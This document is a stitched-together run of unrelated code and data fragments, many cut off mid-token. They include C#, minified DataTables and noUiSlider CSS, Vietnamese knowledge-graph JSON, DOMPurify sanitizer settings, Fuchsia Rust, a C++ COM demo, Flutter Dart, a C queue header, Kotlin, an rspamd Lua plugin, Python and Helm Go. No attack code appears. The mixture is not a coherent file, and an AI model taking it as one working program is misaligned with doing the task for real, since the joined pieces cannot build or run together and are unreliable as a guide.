        private static object ResolveToken(TokenRef tokenRef, IReadOnlyList<Func<object>> values)
        {
            return values[(int)(tokenRef.Family & ~TokenFamily.Reference) - ReservedTokenCount]();
        }
    }
}


px}.noUi-vertical .noUi-handle:after,.noUi-vertical .noUi-handle:before{width:9px;height:1px;left:3.5px;top:9px}.noUi-vertical .noUi-handle:after{top:12px}[disabled] .noUi-connect,[disabled].noUi-connect{background:#B8B8B8}[disabled] .noUi-handle{cursor:not-allowed}
.dt-crosstalk-fade {
  opacity: 0.2;
}

html body div.DTS div.dataTables_scrollBody {
  background: none;
}

/*
Fix https://github.com/rstudio/DT/issues/563
If the `table.display` is set to "block" (e.g., pkgdown), the browser will display
datatable objects strangely. The search panel and the page buttons will still be
in full-width but the table body will be "compact" and shorter.
In therory, having this attributes will affect `dom="t"`
with `display: block` users. But in reality, there should be no one.
We may remove the below lines in the future if the upstream agree to have this there.
See https://github.com/DataTables/DataTablesSrc/issues/160
*/

table.dataTable {
  display: table;
}

/*
When DTOutput(fill = TRUE), it receives a .html-fill-item class (via htmltools::bindFillRole()), which effectively amounts to `flex: 1 1 auto`. That's mostly fine, but the case where `fillContainer=TRUE`+`height:auto`+`flex-basis:auto` and the container (e.g., a bslib::card()) doesn't have a defined height is a bit problematic since the table wants to fit the parent but the parent wants to fit the table, which results pretty small table height (maybe because there is a minimum height somewhere?). It seems better in this case to impose a 400px height default for the table, which we can do by setting `flex-basis` to 400px (the table is still allowed to grow/shrink when the container has an opinionated height).
*/

.html-fill-container > .html-fill-item.datatables {
  flex-basis: 400px;
}
table.dataTable{width:100%;margin:0 auto;clear:both;border-collapse:separate;border-spacing:0}table.dataTable thead th,table.dataTable tfoot th{font-weight:bold}table.dataTable thead th,table.dataTable thead td{padding:10px 18px;border-bottom:1px solid #111}table.dataTable thead th:active,table.dataTable thead td:active{outline:none}table.dataTable tfoot th,table.dataTable tfoot td{padding:10px 18px 6px 18px;border-top:1px solid #111}table.dataTable thead .sorting,table.dataTable thead .sorting_asc,table.dataTable thead .sorting_desc,table.dataTable thead .sorting_asc_disabled,table.dataTable thead .sorting_desc_disabled{cursor:pointer;*cursor:hand;background-repeat:no-repeat;background-position:center right}table.dataTable thead .sorting{


1ed5n \u0111\u1ecbnh kinh t\u1ebf \u2013 x\u00e3 h\u1ed9i.<SEP>Ng\u00e0nh s\u1ea3n xu\u1ea5t ch\u00ednh \u1edf Mi\u1ec1n B\u1eafc, v\u1edbi s\u1ef1 m\u1edf r\u1ed9ng di\u1ec7n t\u00edch v\u00e0 t\u0103ng n\u0103ng su\u1ea5t trong th\u1eddi k\u1ef3 chi\u1ebfn tranh.<SEP>N\u00f4ng nghi\u1ec7p mi\u1ec1n B\u1eafc \u0111\u00e3 tr\u1ea3i qua c\u00e1c c\u1ea3i c\u00e1ch gi\u00fap tr\u00e1nh \u0111\u00f3i kinh ni\u00ean v\u00e0 t\u0103ng s\u1ea3n l\u01b0\u1ee3ng l\u01b0\u01a1ng th\u1ef1c.<SEP>N\u00f4ng nghi\u1ec7p ph\u00e1t tri\u1ec3n li\u00ean t\u1ee5c, g\u00f3p ph\u1ea7n quan tr\u1ecdng v\u00e0o m\u1ee9c t\u0103ng tr\u01b0\u1edfng chung v\u00e0 gi\u1eef v\u1eefng \u1ed5n \u0111\u1ecbnh kinh t\u1ebf \u2013 x\u00e3 h\u1ed9i.", "source_id": "chunk-39d3904d4c6c893eb7534a12d391069d<SEP>chunk-3afc769f91ccdde254d469e73090f5c8<SEP>chunk-7b293fd494e4c4290c004f2b06d572d1<SEP>chunk-a514bd983f6de865e23ba4ff130a6e12", "clusters": "[{level: 0, cluster: 1}, {level: 1, cluster: 25}]", "id": "N\u00d4NG NGHI\u1ec6P"}, {"entity_type": "ECONOMY", "description": "Ng\u00e0nh c\u00f4ng nghi\u1ec7p Mi\u1ec1n B\u1eafc \u0111\u00e3 gi\u1eef v\u1eefng n\u0103ng l\u1ef1c s\u1ea3n xu\u1ea5t \u0111\u1ec3 \u0111\u00e1p \u1ee9ng nhu c\u1ea7u s\u1ea3n xu\u1ea5t v\u00e0 \u0111\u1eddi s\u1ed1ng trong th\u1eddi k\u1ef3 chi\u1ebfn tranh.<SEP>Ng\u00e0nh c\u00f4ng nghi\u1ec7p Mi\u1ec1n B\u1eafc \u0111\u00e3 gi\u1eef v\u1eefng n\u0103ng l\u1ef1c s\u1ea3n xu\u1ea5t \u0111\u1ec3 \u0111\u00e1p \u1ee9ng nhu c\u1ea7u s\u1ea3n xu\u1ea5t v\u00e0 \u0111\u1eddi s\u1ed1ng trong th\u1eddi k\u1ef3 chi\u1ebfn tranh.<SEP>Ng\u00e0nh c\u00f4ng


e returned, instead of a html
     * string (or a TrustedHTML object if Trusted Types are supported).
     * If `WHOLE_DOCUMENT` is enabled a `HTMLHtmlElement` will be returned instead
     */
    let RETURN_DOM = false;
    /* Decide if a DOM `DocumentFragment` should be returned, instead of a html
     * string  (or a TrustedHTML object if Trusted Types are supported) */
    let RETURN_DOM_FRAGMENT = false;
    /* Try to return a Trusted Type object instead of a string, return a string in
     * case Trusted Types are not supported  */
    let RETURN_TRUSTED_TYPE = false;
    /* Output should be free from DOM clobbering attacks?
     * This sanitizes markups named with colliding, clobberable built-in DOM APIs.
     */
    let SANITIZE_DOM = true;
    /* Achieve full DOM Clobbering protection by isolating the namespace of named
     * properties and JS variables, mitigating attacks that abuse the HTML/DOM spec rules.
     *
     * HTML/DOM spec rules that enable DOM Clobbering:
     *   - Named Access on Window (§7.3.3)
     *   - DOM Tree Accessors (§3.1.5)
     *   - Form Element Parent-Child Relations (§4.10.3)
     *   - Iframe srcdoc / Nested WindowProxies (§4.8.5)
     *   - HTMLCollection (§4.2.10.2)
     *
     * Namespace isolation is implemented by prefixing `id` and `name` attributes
     * with a constant string, i.e., `user-content-`
     */
    let SANITIZE_NAMED_PROPS = false;
    const SANITIZE_NAMED_PROPS_PREFIX = 'user-content-';
    /* Keep element content when removing element? */
    let KEEP_CONTENT = true;
    /* If a `Node` is passed to sanitize(), then performs sanitization in-place instead
     * of importing it into a new Document and returning a sanitized copy */
    let IN_PLACE = false;
    /* Allow usage of profiles like html, svg and mathMl */
    let USE_PROFILES = {};
    /* Tags to ignore content of when KEEP_CONTENT is true */
    let FORBID_CONTENTS = null;
    const DEFAULT_FORBID_CONTENTS = addToSet({}, ['annotation-xml', 'audio', 'colgroup', 'desc', 'foreignobject', 'head', 'iframe', 'math', 'mi', 'mn', 'mo', 'ms', 'mtext', 'noembed', 'noframes', 'noscript', 'plaintext', 'script', 'style', 'svg', 'template', 'thead', 'title', 'video', 'xmp']);
    /* Tags that are safe for data: URIs */
    let DATA_URI_TAGS = null;
    const DEFAULT_DATA_URI_TAGS = addToSet({}, ['audio', 'video', 'img', 'source', 'image', 'track']);
    /* Attributes safe for values like "javascript:" */
    let URI_SAFE_ATTRIBUTES = null;
    const DEFAULT_URI_SAFE_ATTRIBUTES = addToSet({}, ['alt', 'class', 'for', 'id', 'label', 'name', 'pattern', 'placeholder', 'role', 'summary', 'title', 'value', 'style', 'xmlns']);
    const MATHML_NAMESPACE = 'http://www.w3.org/1998/Math/MathML';
    const SVG_NAMESPACE = 'http://www.w3.org/2000/svg';
    const HTML_NAMESPACE = 'http://www.w3.org/1999/xhtml';
    /* Document namespace */
    let NAMESPACE = HTML_NAMESPACE;
    let IS_EMPTY_INPUT = false;
    /* Allowed XHTML+XML namespaces */
    let ALLOWED_NAMESPACES = null;
    const DEFAULT_ALLOWED_NAMESPACES = addToSet({}, [MATHML_NAMESPACE, SVG_NAMESPACE, HTML_NAMESPACE], stringToString);
    let MATHML_TEXT_INTEGRATION_POINTS = addToSet({}, ['mi', 'mo', 'mn', 'ms', 'm


ne Insertion and Removal worker.

use {
    anyhow::{format_err, Context as _},
    futures::stream::{Stream, StreamExt as _, TryStreamExt as _},
    io_util::{open_directory_in_namespace, OPEN_RIGHT_READABLE},
    network_manager_core::oir::OIRInfo,
    std::fs,
    std::os::unix::io::AsRawFd,
    std::path,
};

/// A node that represents the directory it is in.
///
/// `/dir` and `/dir/.` point to the same directory.
const THIS_DIRECTORY: &str = ".";

fn ethdir_path() -> std::path::PathBuf {
    let options: crate::Opt = argh::from_env();
    path::Path::new(&options.dev_path).join("class/ethernet")
}

async fn device_found(filename: &std::path::PathBuf) -> Result<Option<OIRInfo>, anyhow::Error> {
    let file_path = ethdir_path().join(filename);
    let device = fs::File::open(&file_path)
        .with_context(|| format!("could not open {}", file_path.display()))?;
    let topological_path = fdio::device_get_topo_path(&device)
        .with_context(|| format!("fdio::device_get_topo_path({})", file_path.display()))?;
    let device_fd = device.as_raw_fd();
    let mut client = 0;
    // Safe because we're passing a valid fd.
    fuchsia_zircon::Status::ok(unsafe {
        fdio::fdio_sys::fdio_get_service_handle(device_fd, &mut client)
    })
    .with_context(|| {
        format!("fuchsia_zircon::sys::fdio_get_service_handle({})", file_path.display())
    })?;
    // Safe because we checked the return status above.
    let client = fuchsia_zircon::Channel::from(unsafe { fuchsia_zircon::Handle::from_raw(client) });

    let ethernet_device =
        fidl::endpoints::ClientEnd::<fidl_fuchsia_hardware_ethernet::DeviceMarker>::new(client)
            .into_proxy()?;

    if let Ok(device_info) = ethernet_device.get_info().await {
        let device_info: fidl_fuchsia_hardware_ethernet_ext::EthernetInfo = device_info.into();
        let device_channel = ethernet_device
            .into_channel()
            .map_err(|fidl_fuchsia_hardware_ethernet::DeviceProxy { .. }| {
                anyhow::anyhow!("failed to convert device proxy into channel")
            })?
            .into_zx_channel();

        info!("Device found: topo_path {} info {:?}", topological_path, device_info);
        if device_info.features.is_physical() {
            return Ok(Some(OIRInfo {
                action: network_manager_core::oir::Action::ADD,
                file_path: file_path.to_str().unwrap().to_string(),
                topological_path,
                device_information: Some(device_info),
                device_channel: Some(device_channel),
            }));
        } else {
            info!("device not physical {:?}", device_info);
        }
    }

    Ok(None)
}

fn device_removed(topological_path: &std::path::PathBuf) -> OIRInfo {
    info!("removing device topo path {:?}", topological_path);
    OIRInfo {
        action: network_manager_core::oir::Action::REMOVE,
        topological_path: topological_path.to_str().unwrap().to_string(),
        file_path: "".to_string(),
        device_information: None,
        device_channel: None,
    }
}

/// Returns a `Stream` that yields `OIRInfo`s in response to events from the
/// device filesystem.
pub(super) async fn new_stream(
) -> Result<impl Stream<Item = Result<OIRInfo, anyhow::Error>>, anyhow::Error> {
    let path = ethdir_path();
    let path_as_str = path.to_str().ok_or_else(|| {


#define BOOL int
#define DWORD unsigned int
#define TRUE 1
#define FALSE 0
#define TRACE printf
#define ASSERT assert

#define CLSID_CSpaceship	10
#define IID_IUnknown		0
#define IID_IClassFactory	1
#define IID_IMotion			2
#define IID_IVisual			3

#define METHOD_PROLOGUE(theClass,localClass)\
	theClass* pThis = ((theClass*)((char*)(this) - \
	offsetof(theClass,m_x##localClass)));
BOOL GetClassObject(int nClsid, int nIid, void** ppvObj);

struct IUnknown
{
	IUnknown( ) { TRACE("Entering IUnknown ctor %p\n",this); }
	virtual BOOL QueryInterface(int nIid,void** ppvObj) =0;
	virtual DWORD Release( ) = 0;
	virtual DWORD AddRef( ) = 0;
};

struct IClassFactory: public IUnknown
{
	IClassFactory( )
		{ TRACE("Entering IClassFactory ctor %p\n",this); }
	virtual BOOL CreateInstance(int nIid,void** ppvObj) = 0;
};

struct IMotion: public IUnknown
{
	IMotion( )
		{ TRACE("Entering IMotion ctor %p\n",this); }
	virtual void Fly( ) = 0;
	virtual int& GetPosition( ) = 0;
};

struct IVisual: public IUnknown
{
	IVisual( )
		{ TRACE("Entering IVisual ctor %p\n",this); }
	virtual void Display( ) = 0;
};

class CSimulatedCmdTarget
{
public:
	DWORD m_dwRef;
protected:
	CSimulatedCmdTarget( )
		{ TRACE("Entering CSimulatedCmdTarget ctor %p\n",this); m_dwRef = 1;}
	~CSimulatedCmdTarget( )
		{ TRACE("Entering CSimulatedCmdTarget dtor %p\n",this); }
	DWORD ExternalRelease( )
		{ TRACE("Entering CSimulatedCmdTarget::ExternalRelease -- RefCount = %ld\n", m_dwRef);
		  if (m_dwRef == 0)
			  return 0;
		  if (--m_dwRef == 0L)
		  {
			  TRACE("deleting \n");
			 // delete this;
			 // ~CSimulatedCmdTarget( );
			  return 0;
		  }
		  return m_dwRef;
		}
	DWORD ExternalAddRef( ) { return ++m_dwRef; }
};


              onPressed: () {
                throw Exception(
                  'Тестовая ошибка Exception для отладки FlutterError',
                );
              },
              child: const Text('Вызывать ошибку FlutterError'),
            ),
            const HBox(16),
            ElevatedButton(
              onPressed: () async {
                await _callError();
              },
              child: const Text('Вызывать ошибку PlatformDispatcher'),
            ),
          ],
        ),
      ),
    );
  }

  Future<void> _callError() async {
    throw Exception('Тестовая ошибка Exception для отладки PlatformDispatcher');
  }
}
import 'package:flutter/material.dart';
import 'package:identity_ui/api/api_client.dart';
import 'package:identity_ui/model/requests/create_owner.dart';
import 'package:identity_ui/model/requests/update_owner.dart';
import 'package:identity_ui/model/requests/update_owner_credentials.dart';
import 'package:identity_ui/model/resource_owner.dart';
import 'package:identity_ui/pages/authorize/derived_passwords.dart';
import 'package:identity_ui/pages/default/components.dart';
import 'package:identity_ui/pages/manage/components/entity_form.dart';
import 'package:identity_ui/pages/manage/components/entity_table.dart';
import 'package:identity_ui/pages/manage/components/rendering.dart';

class Owners extends StatefulWidget {
  const Owners({
    super.key,
    required this.client,
    required this.passwordDerivationConfig,
  });

  final ApiClient client;
  final UserAuthenticationPasswordDerivationConfig passwordDerivationConfig;

  @override
  State createState() {
    return _OwnersState();
  }
}

class _OwnersState extends State<Owners> {
  @override
  Widget build(BuildContext context) {
    return buildPage<List<ResourceOwner>>(
      of: () => widget.client.getOwners(),
      builder: (context, owners) {
        return ListView(
          padding: const EdgeInsets.all(16),
          children: [
            EntityTable<ResourceOwner>(
              entities: owners..sort((a, b) => a.username.compareTo(b.username)),
              actions: [
                IconButton(
                  tooltip: 'Create New Resource Owner',
                  onPressed: () => _createOwner(),
                  icon: const Icon(Icons.add),
                ),
              ],
              header: const Text('Owners'),
              columns: const [
                DataColumn(label: Text('Username')),
                DataColumn(label: Text('Subject')),
                DataColumn(label: Text('Allowed Scopes')),
                DataColumn(label: Text('Active')),
                DataColumn(label: Text('Created')),
                DataColumn(label: Text('Updated')),
                DataColumn(label: Text('')),
              ],
              entityToRow: (e) {
                ResourceOwner owner = e;
                return [
                  DataCell(
                    owner.active
                        ? Text(owner.username)
                        : Row(
                            children: [
                              Text(owner.username),
                              const Padding(padding: EdgeInsets.symmetric(horizontal: 4)),
                              const IconButton(
                                tooltip: 'Deactivated resource owner',
                                onPressed: null,
                                icon: Icon(Icons.warning),
                              )
                            ],
                          ),
                  ),
                  DataCell(Text(owner.subject ?? '-')),
                  DataCell(Text(owner.allowedScopes.isEmpty ? '-' : owner.allowedScopes.join(', '))),
                  DataCell(Text(owner.active ? 'Yes' : 'No')),
                  DataCell(Text(owner.created.render())),
                  DataCell(Text(owner.updated.render())),
                  DataCell(
                    Row(
                      mainAxisAlignment: MainAxisAlignment.end,
                      children: [
                        IconButton(
                          tooltip: widget.client.subject == owner.username
                              ? 'Cannot update the current resource owner'
                              : 'Update Resource Owner',
                          onPressed: widget.client.subject == owner.username ? null : () => _


//
// Created by zzr on 2019/2/21.
//

#ifndef BLOGAPP_QUEUE_H
#define BLOGAPP_QUEUE_H

typedef struct queue_node {
    struct queue_node* prev;
    struct queue_node* next;
    void *p; //节点的值
} QNode;

// 新建“双向链表”。成功，返回表头；否则，返回NULL
extern int create_queue();
// 撤销“双向链表”。成功，返回0；否则，返回-1
extern int destroy_queue();
// “双向链表是否为空”。为空的话返回1；否则，返回0。
extern int queue_is_empty();
// 返回“双向链表的大小”
extern int queue_size();
// 获取“双向链表中第1个元素”。成功，返回节点指针；否则，返回NULL。
extern void* queue_get_first();
// 获取“双向链表中最后1个元素”。成功，返回节点指针；否则，返回NULL。
extern void* queue_get_last();

// 将“value”插入到表头位置。成功，返回0；否则，返回-1。
extern int queue_insert_first(void *pval);
// 将“value”插入到末尾位置。成功，返回0；否则，返回-1。
extern int queue_append_last(void *pval);

// 删除组后一个节点。成功，返回0；否则，返回-1
extern int queue_delete_last();
// 删除第一个节点。成功，返回0；否则，返回-1
extern int queue_delete_first();

// 获取“双向链表中第index位置的元素”。成功，返回节点指针；否则，返回NULL。
extern void* queue_get(int index);
// 将“value”插入到index位置。成功，返回0；否则，返回-1。
extern int queue_insert(int index, void *pval);
// 删除“双向链表中index位置的节点”。成功，返回0；否则，返回-1
extern int queue_delete(int index);

#endif //BLOGAPP_QUEUE_H


}

    /**
     * 从 [events] 获取处于 [startTime, endTime) 区间内的最后一个事件的时间戳
     */
    private fun getLastEventBetweenTimestamps(
        events: List<Long>,
        startTime: Long,
        endTime: Long
    ): Long {
        var lastEvent = -1L
        synchronized(events) {
            events.forEach { time ->
                if (time in startTime until endTime) {
                    lastEvent = time
                } else if (time >= endTime) {
                    return lastEvent
                }
            }
        }
        return lastEvent
    }

    /**
     * 判断 [startTime, endTime) 区间内，bridge 是否处于空闲状态
     */
    private fun didEndFrameIdle(startTime: Long, endTime: Long): Boolean {
        val lastIdleEvent = getLastEventBetweenTimestamps(transitionToIdleEvents, startTime, endTime)
        val lastBusyEvent = getLastEventBetweenTimestamps(transitionToBusyEvents, startTime, endTime)
        if (lastIdleEvent == -1L && lastBusyEvent == -1L) {
            return isLastFrameEndOfIdle
        }
        return lastIdleEvent > lastBusyEvent
    }

    /**
     * 清理处于 endTime 之前的事件
     *
     * @param events 时间列表
     * @param endTime 时间戳
     * @param ensureThreadSafe 是否需要保证线程完全，这里为优化效率，对于某些在同个线程操作的队列不进行加锁
     */
    private fun cleanEvents(
        events: MutableList<Long>,
        endTime: Long,
        ensureThreadSafe: Boolean = true
    ) {
        if (ensureThreadSafe) {
            synchronized(events) {
                val iterator = events.iterator()
                while (iterator.hasNext()) {
                    val event = iterator.next()
                    if (event < endTime) {
                        iterator.remove()
                    }
                }
            }
        } else {
            val iterator = events.iterator()
            while (iterator.hasNext()) {
                val event = iterator.next()
                if (event < endTime) {
                    iterator.remove()
                }
            }
        }
    }

}/*
 * Tencent is pleased to support the open source community by making KuiklyUI
 * available.
 * Copyright (C) 2025 Tencent. All rights reserved.
 * Licensed under the License of KuiklyUI;
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 * https://github.com/Tencent-TDS/KuiklyUI/blob/main/LICENSE
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

package com.tencent.kuikly.core.render.android.css.gesture

import android.content.Context
import android.view.GestureDetector
import android.view.MotionEvent
import android.view.View
import com.tencent.kuikly.core.render.android.export.KuiklyRenderCallback
import java.lang.ref.WeakReference

/**
 * 手势检测器。在[GestureDetector]的基础上扩展了pan事件
 */
class KRCSSGestureDetector(
    context: Context,
    targetView: View,
    private val listener: KRCSSGestureListener
) : GestureDetector(


y_proxy =
        query_proxy_result.map_err(|e| ffx_error_with_code!(*SETUP_FAILED_CODE, "{:?}", e))?;
    let remote_control =
        remote_control_result.map_err(|e| ffx_error_with_code!(*SETUP_FAILED_CODE, "{:?}", e))?;

    match cmd.subcommand {
        TestSubcommand::Run(run) => {
            run_test(RunBuilderConnector::new(remote_control), writer, run).await
        }
        TestSubcommand::List(list) => get_tests(query_proxy, writer, list).await,
        TestSubcommand::Result(result) => result_command(result, writer).await,
    }
}

async fn get_directory_manager() -> Result<DirectoryManager> {
    let output_path_config: PathBuf = match ffx_config::get("test.output_path").await? {
        Some(output_path) => output_path,
        None => ffx_bail!(
            "Could not find the test output path configuration. Please run \
            `ffx config set test.output_path \"<PATH>\" to configure the location."
        ),
    };
    let save_count_config: usize = ffx_config::get("test.save_count").await?;
    Ok(DirectoryManager::new(output_path_config, save_count_config)?)
}

async fn run_test<W: 'static + Write + Send + Sync>(
    builder_connector: Box<RunBuilderConnector>,
    writer: W,
    cmd: RunCommand,
) -> Result<()> {
    // Whether or not the experimental structured output is enabled.
    // When the experiment is disabled and the user attempts to use a strucutured output option,
    // we bail.
    let structured_output_experiment =
        match ffx_config::get("test.experimental_structured_output").await {
            Ok(true) => true,
            Ok(false) | Err(_) => false,
        };
    let output_directory =
        match (cmd.disable_output_directory, &cmd.output_directory, structured_output_experiment) {
            (true, _, _) => None, // user explicitly disabled output.
            (false, Some(directory), true) => Some(directory.clone().into()), // an override directory is specified.
            // user specified an override, but output is disabled by experiment flag.
            (false, Some(_), false) => {
                ffx_bail!(
                    "Structured output is experimental and is subject to breaking changes. \
                To enable structured output run \
                'ffx config set test.experimental_structured_output true'"
                )
            }
            // Default to a managed directory when structured output is enabled.
            (false, None, true) => {
                let mut directory_manager = get_directory_manager().await?;
                Some(directory_manager.new_directory()?)
            }
            // Default to nothing when structured output is disabled.
            (false, None, false) => None,
        };

    let min_log_severity = cmd.min_severity_logs;
    let filter_ansi = cmd.filter_ansi;

    let json_input_experiment = match ffx_config::get("test.experimental_json_input").await {
        Ok(true) => true,
        Ok(false) | Err(_) => false,
    };
    let run_params = run_test_suite_lib::RunParams {
        timeout_behavior: match cmd.continue_on_timeout {
            false => run_test_suite_lib::TimeoutBehavior::TerminateRemaining,
            true => run_test_suite_lib::TimeoutBehavior::Continue,
        },
        stop_after_failures: match cmd.stop_after_failures.map(std::num::NonZeroU16::new) {
            None => None,
            Some(None) => ffx_bail!("--stop-after-failures should be greater than zero."),
            Some(Some(stop_after)) =>


FF, 0xFF, 0xFF, 0x0F, 0x0F, 0xFF, 0xFF,
];
use std::io;
use std::mem;

fn read(stdin: &io::Stdin, buffer: &mut String) {
    buffer.truncate(0);
    stdin.read_line(buffer).ok().unwrap();
}

fn solve(vec: &Vec<isize>) -> Option<usize> {
    let mut cur_0;
    let mut cur_1 = 1isize;
    let mut cur_2 = 2isize;
    let mut count = 0;
    for (i, item) in vec.iter().enumerate() {
        cur_0 = cur_1;
        cur_1 = cur_2;
        cur_2 = i as isize + 3;
        if *item == cur_0 {
            continue;
        } else if i + 1 < vec.len() && *item == cur_1 {
            mem::swap(&mut cur_0, &mut cur_1);
            count += 1;
        } else if i + 2 < vec.len() && *item == cur_2 {
            mem::swap(&mut cur_2, &mut cur_1);
            mem::swap(&mut cur_1, &mut cur_0);
            count += 2;
        } else {
            return None;
        }
    }
    return Some(count as usize);
}

fn main() {
    let mut buffer = String::new();
    let stdin = io::stdin();
    read(&stdin, &mut buffer);
    let n = buffer.trim().parse::<isize>().ok().unwrap();
    assert!(n > 0);
    for _ in 0..n {
        read(&stdin, &mut buffer);
        let len = buffer.trim().parse::<usize>().ok().unwrap();
        buffer.trim();
        read(&stdin, &mut buffer);
        let vec: Vec<_> = buffer
            .trim()
            .split(" ")
            .map(|x| x.parse::<isize>().ok().unwrap())
            .collect();
        assert_eq!(vec.len(), len);
        match solve(&vec) {
            None => println!("Too chaotic"),
            Some(val) => println!("{}", val),
        }
    }
}

#[cfg(test)]
mod tests {
    use solve;
    #[test]
    fn test_sample() {
        assert_eq!(solve(&vec![2, 1, 5, 3, 4]), Some(3));
        assert_eq!(solve(&vec![2, 5, 1, 3, 4]), None);
        assert_eq!(solve(&vec![1, 2, 3]), Some(0));
        assert_eq!(solve(&vec![1, 3, 2]), Some(1));
        assert_eq!(solve(&vec![3, 1, 2]), Some(2));
        assert_eq!(solve(&vec![3, 2, 1]), Some(3));
        assert_eq!(solve(&vec![1, 2, 3, 4]), Some(0));
        assert_eq!(solve(&vec


  score = 2
      end
      task:insert_result(symbol, 0.5 * score, 'generic')
    end
  end
end

-- Configuration
local opts = rspamd_config:get_all_opt('maillist')
if opts then
  if opts['symbol'] then
    symbol = opts['symbol']
    rspamd_config:register_symbol({
      name = symbol,
      callback = check_maillist,
      flags = 'nice'
    })
  end
end


import random
import re
from typing import List, Dict, Tuple

def get_soundtrack_recommendation(mood: str, genre: str = None) -> Dict[str, List[str]]:
    """
    Generate soundtrack recommendations based on mood and genre

    Args:
        mood (str): The detected mood
        genre (str): The movie genre (optional)

    Returns:
        Dict containing soundtrack recommendations
    """
    # Mood-based soundtrack mappings
    mood_soundtracks = {
        "happy": [
            "Upbeat pop songs", "Feel-good rock", "Cheerful electronic",
            "Motivational hip-hop", "Joyful folk music"
        ],
        "sad": [
            "Melancholic ballads", "Emotional piano pieces", "Soulful blues",
            "Heartfelt acoustic", "Touching orchestral"
        ],
        "excited": [
            "High-energy electronic", "Pumping rock anthems", "Dynamic orchestral",
            "Fast-paced pop", "Energetic hip-hop"
        ],
        "calm": [
            "Ambient soundscapes", "Gentle acoustic", "Peaceful classical",
            "Smooth jazz", "Relaxing nature sounds"
        ],
        "mysterious": [
            "Atmospheric electronic", "Dark ambient", "Suspenseful orchestral",
            "Mystical world music", "Haunting melodies"
        ],
        "romantic": [
            "Love ballads", "Soft jazz", "Tender acoustic",
            "Emotional pop", "Romantic classical"
        ],
        "tense": [
            "Suspenseful orchestral", "Dark electronic", "Intense rock",
            "Dramatic classical", "Thrilling soundtracks"
        ]
    }

    # Genre-specific additions
    genre_soundtracks = {
        "action": ["Epic orchestral", "High-energy rock", "Pumping electronic"],
        "drama": ["Emotional orchestral", "Deep acoustic", "Soulful jazz"],
        "comedy": ["Light-hearted pop", "Funky grooves", "Cheerful folk"],
        "horror": ["Dark ambient", "Creepy sound effects", "Tense orchestral"],
        "sci-fi": ["Futuristic electronic", "Space ambient", "Synthetic sounds"]
    }

    # Get base recommendations for mood
    base_recommendations = mood_soundtracks.get(mood.lower(), ["Versatile soundtrack"])

    # Add genre-specific recommendations if available
    if genre and genre.lower() in genre_soundtracks:
        base_recommendations.extend(genre_soundtracks[genre.lower()])

    return {
        "mood_based": base_recommendations[:3],
        "genre_specific": genre_soundtracks.get(genre.lower(), []) if genre else [],
        "overall_style": f"{mood.capitalize()} and {genre.lower() if genre else 'versatile'} soundtrack"
    }

def format_script(script_text: str) -> str:
    """
    Format a movie script with proper structure and styling

    Args:
        script_text (str): Raw script text

    Returns:
        Formatted script text
    """
    if not script_text:
        return "No script available."

    # Basic script formatting
    formatted = script_text.strip()

    # Add scene headers if they don't exist
    if "SCENE" not in formatted.upper() and "INT." not in formatted.upper() and "EXT." not in formatted.upper():
        formatted = f"SCENE 1\n{formatted}"

    # Add basic structure if missing
    if "FADE IN" not in formatted.upper():
        formatted = "FADE IN\n\n" + formatted

    if "FADE OUT" not in formatted.upper():
        formatted = formatted + "\n\nFADE OUT"

    return formatted

def get_genre_icons() -> Dict[str, str]:
    """
    Get emoji icons for different movie genres

    Returns:
        Dict mapping genre names to emoji icons
    """
    return {
        "action": "💥",
        "adventure": "🧗♂",
        "comedy": "🎭",
        "drama": "🎭",
        "horror": "🎭",
        "romance": "💕",
        "sci-fi": "🚀",
        "thriller": "🎭",
        "fantasy": "🧗♂",
        "mystery": "🕵",
        "crime": "🕵",
        "war": "⚔",
        "western": "🎭",
        "musical": "🎵",
        "documentary": "📹",
        "animation": "🎨",
        "family": "👩👧👦",
        "biography": "🎭",
        "history": "🏛",
        "sport": "⚽"
    }

def get_mood_emoji(mood: str) -> str:
    """
    Get emoji representation for different moods

    Args:
        mood (str): The mood name

    Returns:
        Emoji string for the mood
    """
    mood_emojis = {
        "happy": "🎉",
        "sad": "😢",
        "excited": "🤩",
        "calm": "😌",
        "mysterious": "🤔",
        "romantic": "💕",
        "tens


/ignore"
)

func LoadRules(dir string) (*helmignore.Rules, error) {
	rules, err := helmignore.ParseFile(filepath.Join(dir, helmignore.HelmIgnore))
	if err != nil && !os.IsNotExist(err) {
		return nil, err
	}
	if rules == nil {
		rules = helmignore.Empty()
	}
	rules.AddDefaults()
	return rules, nil
}

func FilterFiles(files []string, rules *helmignore.Rules) ([]string, error) {
	fsys := fstest.MapFS{}
	for _, file := range files {
		fsys[file] = &fstest.MapFile{}
	}

	filteredFiles := []string{}

	err := fs.WalkDir(fsys, ".", func(path string, d fs.DirEntry, err error) error {
		if err != nil {
			return err
		}

		fi, err := d.Info()
		if err != nil {
			return err
		}

		// Normalize to / since it will also work on Windows
		path = filepath.ToSlash(path)

		if fi.IsDir() {
			// Directory-based ignore rules should involve skipping the entire
			// contents of that directory.
			if rules.Ignore(path, fi) {
				return filepath.SkipDir
			}
			return nil
		}

		// If a .helmignore file matches, skip this file.
		if rules.Ignore(path, fi) {
			return nil
		}

		filteredFiles = append(filteredFiles, path)
		return nil
	})
	if err != nil {
		return nil, err
	}

	return filteredFiles, nil
}
// Copyright The Helm Authors
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//     http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

package tool

import (
	"fmt"
	"strings"

	"github.com/helm/chart-testing/v3/pkg/exec"
)

type Git struct {
	exec exec.ProcessExecutor
}

func NewGit(exec exec.ProcessExecutor) Git {
	return Git{
		exec: exec,
	}
}

func (g Git) FileExistsOnBranch(file string, remote string, branch string) bool {
	fileSpec := fmt.Sprintf("%s/%s:%s", remote, branch, file)
	_, err := g.exec.RunProcessAndCaptureOutput("git", "cat-file", "-e", fileSpec)
	return err == nil
}

func (g Git) AddWorktree(path string, ref string) error {
	return g.exec.RunProcess("git", "worktree", "add", path, ref)
}

func (g Git) RemoveWorktree(path string) error {
	return g.exec.RunProcess("git", "worktree", "remove", path)
}

func (g Git) Show(file string, remote string, branch string) (string, error) {
